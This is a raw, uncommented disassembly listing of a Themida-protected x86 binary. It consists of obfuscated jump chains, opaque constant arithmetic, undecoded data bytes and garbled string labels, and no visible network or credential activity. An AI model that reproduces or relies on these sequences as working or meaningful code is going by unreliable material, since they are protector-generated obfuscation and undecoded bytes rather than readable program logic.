; ---------------------------------------------------------------------------
		dd 788968h, 6B82E900h, 68660000h, 896678D7h, 0B8E9243Ch
		dd 87000013h, 0A3E9240Ch, 50000032h, 992011B8h,	0A8EF8182h
		dd 294C005Ch, 8ADBE9C7h, 0C7810000h, 4,	4BE56h,	88E90000h
		dd 5F00001Eh, 65E9EA01h, 66000026h, 6637F7BFh, 0EF816647h
		dd 72E91154h, 68000010h, 688Fh,	0B3241C89h, 0EA28E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547F7A:				; CODE XREF: Themida_:0054EF9Ej
		pop	esp
		mov	[esp], ecx
		mov	ecx, ebx
		mov	edx, ecx
		jmp	loc_54ADDE
; ---------------------------------------------------------------------------


loc_547F87:				; CODE XREF: Themida_:0054BC0Fj
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_550BDB
		push	eax
		push	ebp
		push	ebx
		push	667C44B3h
		jmp	loc_54D874
; ---------------------------------------------------------------------------


loc_547F9F:				; CODE XREF: Themida_:0054D89Ej
		or	edx, eax
		shl	edx, 1
		xchg	esi, [edi+24h]
		sub	esp, 4
		mov	[esp], edi
		push	edx
		push	78CE40E0h
		jmp	loc_548669
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 0FFE3E0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547FC5:				; CODE XREF: Themida_:0054A724j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_54CC82
; ---------------------------------------------------------------------------


loc_547FD5:				; CODE XREF: Themida_:00545F5Ej
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54829F
; ---------------------------------------------------------------------------


loc_547FE9:				; CODE XREF: Themida_:0054FE26j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_545A80
; ---------------------------------------------------------------------------
		db 0FFh
		dd 53592434h, 4BE9E389h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548003:				; CODE XREF: Themida_:00545C94j
		push	ecx
		mov	cl, 30h
		shr	cl, 8
		xchg	dh, cl
		push	ecx
		mov	ch, dh
		not	ch
		mov	dh, ch
		pop	ecx
		xchg	dh, cl
		shr	cl, 6
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 2
		jmp	loc_54C7B2
; ---------------------------------------------------------------------------


loc_54802C:				; CODE XREF: Themida_:0054C677j
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	edx
		push	ebx
		mov	ebx, 78F0037Dh
		sub	ebx, 54DDC222h
		mov	edx, ebx
		pop	ebx
		inc	edx
		not	edx
		add	edx, 45D72101h
		jmp	loc_54904E
; ---------------------------------------------------------------------------
		dw 0FF51h
		dd 59042474h, 0E924048Fh, 6288h, 0C781E789h, 4,	83CAE9h
		dd 29C2BB00h, 0DBF7713Ah, 9413B850h, 0C3319A99h, 0FFE398E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548085:				; CODE XREF: Themida_:00546DFEj
		xor	bl, al
		movzx	eax, al
		jmp	loc_548439
; ---------------------------------------------------------------------------
		db 89h
		dd 0F4E92414h, 8B000055h, 24D22424h, 4EE99C24h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5480A3:				; CODE XREF: Themida_:00547B7Bj
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_54F78D
; ---------------------------------------------------------------------------
		db 5Bh
		dd 815A8004h, 4ECh, 240C8900h, 0E44BE952h, 3C8BFFFFh, 4C48324h
		dd 8324348Bh, 34FF04C4h, 0C4815B24h, 4,	0E91C6F09h, 0FFFFCDC3h
; ---------------------------------------------------------------------------


loc_5480EC:				; CODE XREF: Themida_:0054DD74j
		push	0B3645C0h
		jmp	loc_545D49
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 6D7BE9h, 60686600h, 0C896632h, 0B6525024h
		dd 8009B4A9h, 0F40096C4h, 5A96EC80h, 1D45E9h, 24143300h
		dd 33241431h, 0A6E92414h, 8300008Dh, 0BB5304C4h, 4EA30E47h
		dd 0E3C1EBD1h, 1FF2E902h, 11050000h, 353E1153h,	3E508C11h
		dd 0FFC9FAE9h, 0FFF329FFh, 505E2434h, 405E089h,	83000000h
		dd 48704C0h, 0E9585C24h, 5C7Dh,	5C243C87h, 7856B951h, 0FA2D2580h
		dd 2D64B576h, 33A33C83h, 8305C829h, 533A33Ch, 64B576FAh
		dd 2F4CE9h, 24048F00h, 2488E9h,	81E78900h, 4C7h, 4EF8100h
		dd 87000000h, 20E9243Ch
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5481AB:				; CODE XREF: Themida_:00544CF7j
		sub	ebx, 338E7D1Ch
		add	edx, ebx
		jmp	loc_54D825
; ---------------------------------------------------------------------------


loc_5481B8:				; CODE XREF: Themida_:0054BC7Cj
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	487Bh
		mov	[esp], ebp
		push	6B3Eh
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_54E97B
; ---------------------------------------------------------------------------
		db 5Dh,	33h, 4
		dd 24043124h, 5C240433h, 89240489h, 206CE9E0h, 48F0000h
		dd 24248B24h, 885EE9h, 5BCF6800h, 2C890000h, 396DBD24h
		dd 6FB93E51h, 293E5139h, 0CA015DE9h, 24148759h,	0AB0F665Ch
		dd 0E99C2404h, 0FFFFC8D1h, 419468h, 10E4E900h, 34FF0000h
		dd 0CFE95824h, 8900007Bh, 5AE92404h, 59000011h,	3EBFE950h
		dd 93BA0000h, 81307618h, 72752AEAh, 3AFEE940h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548252:				; CODE XREF: Themida_:005456A6j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_547ACA
; ---------------------------------------------------------------------------
		db 58h
		dd 0D108EBC1h, 0BFEB81EBh, 81107179h, 295099C3h, 58F38156h
		dd 53278B18h, 2243481h,	5F38E705h, 502F781h, 0F75B38E7h
		dd 0E3ABE9D7h, 8851FFFFh, 59EE88DDh, 8BF3285Bh,	71E92414h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54829F:				; CODE XREF: Themida_:00547FE4j
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		push	edx
		jmp	loc_54B96C
; ---------------------------------------------------------------------------
		db 81h
		dd 615EB4F7h, 2EFC130h,	0EF81DFF7h, 0B5B40F7h, 9FBE781h
		dd 0EF817388h, 28F4D400h, 815FF929h, 13569FE1h,	2412E913h
		dd 0D0310000h, 0E92434FFh, 8748h
; ---------------------------------------------------------------------------


loc_5482E4:				; CODE XREF: Themida_:00545B52j
		mov	edx, 7D870D50h
		add	ebx, edx
		pop	edx
		sub	ebx, edi
		jmp	loc_548B86
; ---------------------------------------------------------------------------
		db 81h
		dd 105577C1h, 2F5BE9B0h, 74FF0000h, 0E95B0424h,	3DC2h
		dd 81242489h, 42404h, 815B0000h, 4C3h, 0B9515500h, 106D7B93h
		dd 5B26B850h, 40D102Dh,	5056C2Bh, 0D1A6EC1h, 59471905h
		dd 0FAE8E972h, 0C281FFFFh, 4, 2474FF52h, 4B4CE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54834A:				; CODE XREF: Themida_:00550FEDj
		mov	ecx, 6D2F2E8Fh
		sub	ecx, 39127B10h
		jmp	loc_545502
; ---------------------------------------------------------------------------


loc_54835A:				; CODE XREF: Themida_:00550B0Dj
		mov	ebx, 7DCC4843h
		jmp	loc_5467A6
; ---------------------------------------------------------------------------


loc_548364:				; CODE XREF: Themida_:0054A53Dj
		pop	ebp
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	esi
		push	ecx
		push	edi
		mov	edi, 66ED2A18h
		mov	ecx, edi
		pop	edi
		add	ecx, 2CDA5848h
		shr	ecx, 7
		shr	ecx, 6
		or	ecx, 343724EEh
		add	ecx, 0CBC84103h
		push	ecx
		mov	esi, [esp]
		jmp	loc_54CA66
; ---------------------------------------------------------------------------


loc_548397:				; CODE XREF: Themida_:00548677j
		not	edx
		xchg	edx, [esp]
		pop	eax
		jmp	loc_54CED9
; ---------------------------------------------------------------------------


loc_5483A2:				; CODE XREF: Themida_:0054CE4Cj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	ecx
		mov	ecx, 30661786h
		dec	ecx
		sub	ecx, 519D755Fh
		shl	ecx, 7
		shr	ecx, 7
		sub	ecx, 0C8A222h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_550533
; ---------------------------------------------------------------------------
		dd 8158C301h, 4C3h, 241C8700h, 2404015Ch, 734DBE56h, 7401070Bh
		dd 22E90424h, 80000043h, 0F1000EF6h, 275CE95Ah,	335A0000h
		dd 0C31240Ch, 240C3324h, 607CE9h, 0E9C18900h, 418h, 0ED81CD01h
		dd 37874685h, 592434FFh, 4C481h, 0FF550000h, 5D042474h
		dd 8B24048Fh, 34FF2424h, 240C8B24h, 7239E9h
		db 0
; ---------------------------------------------------------------------------


loc_548439:				; CODE XREF: Themida_:0054808Aj
		push	dword ptr [edi+eax*4]
		push	45h
		mov	[esp], ebx
		push	130Ch
		mov	[esp], ebp
		push	edi
		mov	edi, 7ADC210Bh
		shl	edi, 6
		jmp	loc_5490A2
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5E682404h, 0E9000016h, 0FFFFE7E4h, 1CE9F589h, 81000029h
		dd 1C737AC6h, 34875F37h, 0F665C24h, 5450C8BEh, 4B43E9h
		db 0
; ---------------------------------------------------------------------------


loc_548485:				; CODE XREF: Themida_:0054ED43j
		mov	ecx, [esp]
		jmp	loc_54B161
; ---------------------------------------------------------------------------
		db 1, 0C2h, 58h
		dd offset dword_596F68
		dd 242C8900h, 2BDh, 0D3BF5700h,	812D9A1Dh, 0B1276BF7h
		dd 0D0BE5640h, 812EA72Dh, 563430F6h, 8512E947h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5484BA:				; CODE XREF: Themida_:00549153j
		pop	esi
		push	esi
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 4
		jmp	loc_550336
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 53h
		dd 9473D4BBh, 0F7DBF745h, 2EBC1DBh, 136BC381h, 0EB815355h
		dd 5D463A21h, 215EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5484E9:				; CODE XREF: Themida_:0054DD08j
		sub	edi, 757A55C5h
		add	edi, 504690F8h
		or	ecx, edi
		pop	edi
		xor	ecx, 37DF76EDh
		push	ecx
		push	edx
		jmp	loc_54F2C4
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0E924248Bh, 0FFFFE5FCh, 0B60F6664h, 0E7895702h, 0E03B850h
		dd 0FF2D527Fh, 0DFFFFFFh, 787D5947h, 7F5F432Dh,	78C7817Ah
		dd 1327820h, 78EF81C7h,	58327820h, 3304EF83h, 0CBE9243Ch
		dd 5300003Ah, 6CB6F2B7h, 6903E9h, 4C48100h, 51000000h
		dd 0D9455DB9h, 0FAE9414Bh, 83000029h, 0C8804C4h, 82E95987h
		dd 89FFFFC5h, 0E6892434h, 4C681h, 0C6830000h, 24348704h
		dd 4B9515Ch, 1000000h, 0C38359CBh, 241C3302h, 393CE9h
		dd 28B3B600h, 0D430E9F7h, 0C83BFFFFh, 0C814E99Ch, 815DFFFFh
		dd 4C5h, 4C58100h, 87000000h, 65E9242Ch
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5485BB:				; CODE XREF: Themida_:0054EA6Dj
		pop	esi
		add	esp, 4
		or	eax, eax
		jmp	loc_54941F
; ---------------------------------------------------------------------------
		dw 1C87h
aHe1		db '$\h¥1',0
		dw 8900h
		dd 0AB68242Ch, 5D6BE506h, 6056ED81h, 0E9511A6Dh, 6000h
; ---------------------------------------------------------------------------


loc_5485E4:				; CODE XREF: Themida_:0054605Bj
		pop	edi
		add	edx, eax
		sub	edx, 439963F1h
		add	dword ptr [edx], 1
		pop	edx
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 546165C4h
		add	esi, 7212710Ch
		xor	esi, 0C673D6D4h
		add	ebx, esi
		pop	esi
		add	ebx, 4
		jmp	loc_54F128
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 80F28142h, 818322BDh, 0B33D88EAh, 76C78101h,	81145201h
		dd 4A19D1C7h, 81D7017Ch, 4A19D1EFh, 76BA527Ch, 29145201h
		dd 4EE95AD7h, 31000070h, 0E95A5B13h, 0FFFFC49Dh, 0FFC498E9h
		dd 34E95BFFh, 80000077h, 0C2FE6CEAh, 5DB9E9h
		db 0
; ---------------------------------------------------------------------------


loc_548669:				; CODE XREF: Themida_:00547FB2j
		mov	edx, [esp]
		add	esp, 4
		xchg	eax, edx
		push	eax
		xchg	edx, [esp]
		jmp	loc_548397
; ---------------------------------------------------------------------------
		dd 0F82402BAh, 35EA8142h, 3125F6B2h, 882DE9D5h,	72680000h
		dd 8900003Fh, 0BB53242Ch, 1, 67D268h, 24348900h, 8904EC83h
		dd 575E241Ch, 0FD89F789h, 0FFFA19E9h, 148966FFh, 0C61BE924h
		dd 0EC81FFFFh, 4, 0E9240489h, 0AF2h
; ---------------------------------------------------------------------------


loc_5486CC:				; CODE XREF: Themida_:005500DBj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5452EC
; ---------------------------------------------------------------------------
aLSA		db '‹,$éØa',0
		align 10h
		dd 4B951h, 4C010000h, 82E90424h, 86000002h, 86D4F6E5h
		dd 81EE86E5h, 2ECh, 4896600h, 53F48824h, 0DE88EB88h, 66E5885Bh
		dd 8124048Bh, 2C4h, 23B65200h, 0F680D6F6h, 71EE80FBh, 0CCE9F500h
		dd 5A00006Fh, 94EF80h, 242EE9CFh, 0EC830000h, 242C8904h
		dd 0FFED27E9h, 77F581FFh, 14E280Ch, 0FB015DEBh,	4A87EB81h
		dd 0E95F169Ch, 0FFFFCC73h, 5C24048Fh, 24048966h, 0FFC390E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548761:				; CODE XREF: Themida_:0054A3C2j
		push	edx
		jmp	loc_54F6B6
; ---------------------------------------------------------------------------
		db 0B2h
		dd 5AD000C8h, 5A2434FFh, 4C481h, 74E90000h, 8300002Eh
		dd 148704C2h, 26685C24h, 0E900006Bh, 0FFFFF499h, 4C681h
		dd 9AE90000h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548797:				; CODE XREF: Themida_:00547C20j
		add	esi, edx
		pop	edx
		sub	esi, 4
		jmp	loc_545841
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 4C08300h, 5C240487h, 31241C33h, 1C33241Ch, 1B27E924h
		dd 0E95A0000h, 6D8Ch, 24048B66h, 8904EC83h, 2168240Ch
		dd 89000043h, 9AE92424h, 28000002h, 0A8E92434h,	0E9FFFFC3h
		dd 0FFFFC305h, 47D4F781h, 0E9537F87h, 3489h, 2D92E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5487FE:				; CODE XREF: Themida_:0054B085j
		jz	loc_54B534
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_54E4AC
; ---------------------------------------------------------------------------
		dd 0C1815A58h, 2C5B5490h, 5EF4E181h, 0BB531341h, 5CFC690Dh
		dd 0C3814343h, 0AAC415Bh, 5C33CB81h, 0E3817583h, 495E5C4Fh
		dd 0B4F9EB81h, 0D901420Bh, 7B45E95Bh, 815D0000h, 0BD5CC6C5h
		dd 81CD297Ch, 0BD5CC6EDh, 240C8B7Ch, 4249E9h
		db 0
; ---------------------------------------------------------------------------


loc_548875:				; CODE XREF: Themida_:00547BD8j
		pop	ebp
		jmp	loc_546827
; ---------------------------------------------------------------------------
		db 47h
		dd 8147D7F7h, 564B00E7h, 0F5E94F5Dh, 28FFFFCAh,	2EC81D8h
		dd 66000000h, 0B5240C89h, 0E91904FDh, 5FF6h, 0CCB60F66h
		dd 0E904EC83h, 0FFFFE59Ah, 4EC81h, 1C890000h, 0A3B45024h
		dd 5EAAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5488BD:				; CODE XREF: Themida_:0054A9C0j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	locret_54F74A
; ---------------------------------------------------------------------------
aBIrsssP	db 'ÆiR™‘é½P',0
		align 4
		dd 8324348Bh, 0C8704C4h, 3C895C24h, 691FE924h, 0E9510000h
		dd 0FFFFCEC0h, 5B7B6866h, 24248966h, 7F4A6866h,	24148966h
		dd 7679E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548902:				; CODE XREF: Themida_:0054E02Cj
		sub	ecx, 12420893h
		add	ecx, ebx
		jmp	loc_54B48A
; ---------------------------------------------------------------------------
		db 29h
		dd 0D8015FFBh, 1D1A685Bh, 34890000h, 4D646824h,	0F75E7E03h
		dd 0ED6850DEh, 583E9040h, 6225E9h, 0EB005800h, 5D4DE9h
		dd 4C18100h, 81000000h,	4ECh, 242C8900h, 4BDh, 5DE90100h
		dd 5C240C87h, 8702C283h, 248B2414h, 24040024h, 0C18BE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548966:				; CODE XREF: Themida_:005494E0j
		pop	ecx
		xor	dh, 0F9h
		xor	al, dh
		jmp	loc_54CB79
; ---------------------------------------------------------------------------
aYHX		db 'Y[hÎx',0
		align 4
aSB		db 'éÔ',0
		dd 4C48300h, 0FFC16CE9h, 0ACEE81FFh, 81154D08h,	0EF3157EEh
		dd 0BAF6814Dh, 0E9309A60h, 0FFFFE362h, 26E8E950h, 0E3280000h
		dd 6990E958h, 34890000h, 48685324h, 0E91AB47Eh,	256Eh
		dd 15BDD89h, 4875DE8h, 2AE95C24h, 0B9FFFFC1h, 79542DBDh
		dd 700AE981h, 0E1810221h, 0D607198h, 369FF181h,	0E181125Eh
		dd 1C221FDBh, 3D97BE56h, 0EE816D29h, 30D7D520h,	15EF101h
		dd 0EC8159CEh, 4, 0B8240489h, 0B4251A1h, 142ABA52h, 0D0210683h
		dd 8124148Bh, 4C4h, 0BA524000h,	65081C24h, 56E9D021h, 81000044h
		dd 8F1165EFh, 1CF7577Fh, 55475F24h, 0BA50F8BDh,	3CED8146h
		dd 2904ADF1h, 0FB015DEFh, 0E9C2315Fh, 187Ch, 4C581h, 0E9550000h
		dd 0FFFFE0FCh, 0F781D7F7h, 0DFCC6313h, 2D5FFB31h, 3D632228h
		dd 0E953D801h, 8694h, 254E68h, 24148900h, 211CE9h, 24048300h
		dd 1B0FE904h, 0BB530000h, 1B8A38B5h, 8A38B9BDh,	5BDD291Bh
		dd 60ACC381h, 0EB017C49h, 60ACEB81h, 835D7C49h,	0E16804C3h
		dd 8900000Dh, 74FF241Ch, 8F5B0424h, 0F5C2404h, 599768C8h
		dd 7BE90000h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548ABF:				; CODE XREF: Themida_:0054D727j
		and	eax, 96A0E88h
		shl	eax, 7
		neg	eax
		xor	eax, 675940FAh
		add	ebx, eax
		jmp	loc_5490CC
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0EA010000h, 2414335Dh, 2257E9h, 1C77FF00h, 6659669Dh
		dd 9C2414D3h, 0FFCCDAE9h, 0C7815DFFh, 1AF1BFCh,	74FF575Ah
		dd 8F5F0424h, 8B5C2404h, 0EC812414h, 4,	89242C89h, 4C581E5h
		dd 51000000h, 4B9h, 0EEADE900h,	348BFFFFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_54D484
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 8704EF83h, 895C243Ch, 0E8E9240Ch,	0FF000052h, 589D1C77h
		dd 9C240411h, 0FFBF9CE9h, 2434FFFFh, 68E95058h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548B5F:				; CODE XREF: Themida_:00544B8Aj
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		add	eax, 4
		jmp	loc_547F08
; ---------------------------------------------------------------------------
aIrsfs		db '䈎FS',0
		dd 0E7E95B00h, 8900000Ah, 8B8E9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548B86:				; CODE XREF: Themida_:005482EEj
		sub	ebx, 7D870D50h
		pop	edi
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_54AA83
; ---------------------------------------------------------------------------
		db 81h
		dd 3E5FFBC2h, 0DABEE93Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548BA2:				; CODE XREF: Themida_:005494EFj
		sub	[esp], edx
		pop	edx
		sub	edx, 0A196AE33h
		add	edi, edx
		jmp	loc_54FA09
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 31F0E900h, 0EC810000h,	4, 0FADE9h, 80D8B100h
		dd 840492E9h, 54E2E9h, 4C48100h, 87000000h, 248B2434h
		dd 0D571E924h, 0F829FFFFh, 2434FF5Fh, 0E689565Eh, 4C681h
		dd 0B8500000h, 12712AEBh, 29E9D0F7h, 57000053h,	1E6BECBFh
		dd 5FF82935h, 236EE9h, 0E9D72900h, 4834h, 240C8B66h, 48FEE9h
		dd 243C3100h, 5C243C33h, 0E9243489h, 0FFFFCC4Dh, 41AC581h
		dd 0F2E92AEBh
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548C3B:				; CODE XREF: Themida_:00546DDAj
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		jmp	loc_546B16
; ---------------------------------------------------------------------------
		db 83h
		dd 4FE904C4h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548C4F:				; CODE XREF: Themida_:0054E94Bj
		xor	dword ptr [esp], 509F2A67h
		mov	eax, [esp]
		jmp	loc_54CBF3
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0EC835824h, 5FC6E904h, 0D9890000h, 0E9241C8Bh, 7CECh
; ---------------------------------------------------------------------------


loc_548C74:				; CODE XREF: Themida_:0054E752j
		add	edi, 26551F0Dh
		mov	edx, edi
		pop	edi
		add	ebp, edx
		jmp	loc_54646A
; ---------------------------------------------------------------------------
aST		db ')Øé`t',0
		db 0
; ---------------------------------------------------------------------------


loc_548C8B:				; CODE XREF: Themida_:005497CBj
		push	7C7B54B5h
		jmp	loc_54EEF6
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 752556BFh, 5FFD0198h, 34FFEB01h, 0C4815D24h,	4, 2550EB81h
		dd 0BA522FDEh, 43074606h, 306DC281h, 0F28734E8h, 63E9D6F7h
		dd 0F000062h, 41E9C8B6h, 0ACFFFFF2h, 9168D830h,	89000021h
		dd 0EC83241Ch, 240C8904h, 0C5808CB5h, 59EF88BCh, 28F9B252h
		dd 75045AD0h, 0EC83F828h, 24148904h, 0F02875B6h, 39C1E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548D02:				; CODE XREF: Themida_:00547AB0j
		push	ecx
		mov	ecx, 53D7232Eh
		shr	ecx, 4
		neg	ecx
		jmp	loc_54ACDA
; ---------------------------------------------------------------------------
		dw 51B8h
		dd 2D1CFE45h, 330C0CB1h, 68C22D48h, 0E8C144AFh,	4D83508h
		dd 0C2295056h, 0CE03E958h, 0CCFEFFFFh, 28C6EC80h, 0C4E958E6h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548D3F:				; CODE XREF: Themida_:0054D204j
		pop	dx
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 3Fh
		shr	bh, 6
		sub	bh, 5Fh
		not	bh
		sub	bh, 0E0h
		inc	bh
		sub	esp, 2
		jmp	loc_544B69
; ---------------------------------------------------------------------------
		dw 0EA89h
		dd 81242C8Bh, 4C4h, 275DE900h, 0EF810000h, 6CC40CCCh, 2AEF814Fh
		dd 1B13F6Fh, 243C8BFDh,	8304C483h, 2C3304C5h, 242C3124h
		dd 284FE9h
		db 0
; ---------------------------------------------------------------------------


loc_548D95:				; CODE XREF: Themida_:0054DEAEj
		mov	edx, 7ED1116h
		sub	ebx, edx
		jmp	loc_54B7C1
; ---------------------------------------------------------------------------
aIxxaNsmb	db 'ˆåX€ÅnémB',0
		align 4
		dd 24048B66h, 83E28952h, 2C8904ECh, 46824h, 815D0000h
		dd 3921E2EAh, 0E395E92Ch, 77FFFFFFh, 19589D1Ch,	0E99C2404h
		dd 0FFFFBD19h, 7DA9E681h, 40E94A77h, 89000022h,	2BF243Ch
		dd 1000000h, 243C8BFBh,	4C481h,	1C870000h, 60D6E924h, 6D350000h
		dd 14CE266h, 0B85058C2h, 72F62DA8h, 4EC81h, 0C6E90000h
		dd 8F00002Bh, 4832404h,	48B0424h, 4C48324h, 405h, 85E95600h
		dd 89FFFFEEh, 0AEBA2414h, 31093C05h, 0E9575AD3h, 3C0Ah
		dd 0EE9CB29h, 6600001Eh, 6655CABEh, 66202D05h, 2D66F001h
		dd 8B66202Dh, 79682434h, 0E900001Fh, 787Dh, 79E9F988h
		dd 0F7FFFFEBh, 81E9D1D9h, 0F20B86C1h, 6E0E9A6h,	2F050000h
		dd 8B2DDB1Eh, 0C481242Ch, 4, 3F2DF001h,	5E3B860Eh, 56068h
		dd 242C8900h, 0AD0F19BDh, 57CD810Eh, 0C12D5137h, 0B9E908EDh
		dd 66000069h, 9C243CD3h, 0FFE159E9h, 1EB83FFh, 0AE8C381h
		dd 0C38168FBh, 78C29164h, 15BDD89h, 0FF565DEEh,	8B042474h
		dd 9FE92434h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548ED7:				; CODE XREF: Themida_:00550749j
		dec	ebp
		shl	ebp, 8
		push	4266h
		jmp	loc_546D90
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 8304C483h, 0C8702C1h, 24248B24h, 9C240CFEh, 0FFBBF4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548EFD:				; CODE XREF: Themida_:00545ABDj
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_54574B
; ---------------------------------------------------------------------------
		dd 89240C89h, 98BF57E1h, 0F7569421h, 5ABA52DFh,	8168E97Fh
		dd 0A2C910C2h, 0FCEBE908h, 8DB2FFFFh, 5A66D788h, 523FEF80h
		dd 0FFF660E9h, 24048BFFh, 575A5452h, 4BFh, 1BD5500h, 0E946AD26h
		dd 538Eh
; ---------------------------------------------------------------------------


loc_548F4C:				; CODE XREF: Themida_:00547568j
		push	ebp
		mov	ebp, 50173018h
		add	ebp, 4DEB1C1Dh
		dec	ebp
		not	ebp
		and	ebp, 53CC4347h
		jmp	loc_54C300
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 0B947B71Dh, 0E9E9DF29h, 5D00003Bh, 62DAE9h, 0A5EF8100h
		dd 585FA55Eh, 1772E9h, 24148900h, 8904EC83h, 57B9240Ch
		dd 0BA7A386Bh, 7A386B53h, 0C8BCA31h, 4C48124h, 0E9000000h
		dd 0FFFFD7B5h
; ---------------------------------------------------------------------------


loc_548FA8:				; CODE XREF: Themida_:0054AE0Bj
		xchg	edi, [esp]
		pop	esp
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	eax
		push	esi
		mov	esi, 24h
		mov	eax, esi
		pop	esi
		add	eax, edi
		push	edx
		push	4950h
		mov	[esp], ebx
		mov	ebx, 0
		mov	edx, ebx
		pop	ebx
		jmp	loc_54C838
; ---------------------------------------------------------------------------
		db 66h,	81h, 0C7h
		dd 1664D14h, 34D1E9FBh,	0A0B80000h, 55100E16h, 0E989C589h
		dd 24048B5Dh, 6DA3E9h, 423ABF00h, 54E91018h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549007:				; CODE XREF: Themida_:00546152j
		push	ebx
		mov	ebx, 12186584h
		sub	ebx, 4BD14FE1h
		jmp	loc_54AE34
; ---------------------------------------------------------------------------
		dd 2BF57h, 0FA010000h, 2414335Fh, 0E9241431h, 0FFBh
; ---------------------------------------------------------------------------


loc_54902C:				; CODE XREF: Themida_:0054BB33j
		mov	ecx, 4
		jmp	loc_54A3A1
; ---------------------------------------------------------------------------
		dw 0C300h
		dd 0E01E9h, 7E3C000h, 0DBF6CBFEh, 0F380C3FEh, 4A4BE96Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54904E:				; CODE XREF: Themida_:00548051j
		push	ebp
		jmp	loc_546764
; ---------------------------------------------------------------------------
		dd 4A01EA83h, 76C1EA81h, 0ED815FF9h, 2BD03E24h,	0C581D501h
		dd 2BD03E24h, 0C91685Ah, 0C890000h, 2B924h, 97E90000h
		dd 0FF000067h, 34FF2434h, 0C4835824h, 553AE904h, 24890000h
		dd 9D9E924h, 0D9F70000h, 0F703E1C1h, 587BE9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5490A2:				; CODE XREF: Themida_:00548455j
		shr	edi, 1
		xor	edi, 34980FBEh
		mov	ebp, edi
		pop	edi
		jmp	loc_5468F9
; ---------------------------------------------------------------------------
a1SN		db '1<$éÄN',0
		align 2
		dw 3C8Bh
		dd 4C48324h, 70BA525Fh,	0E937A61Eh, 2A16h
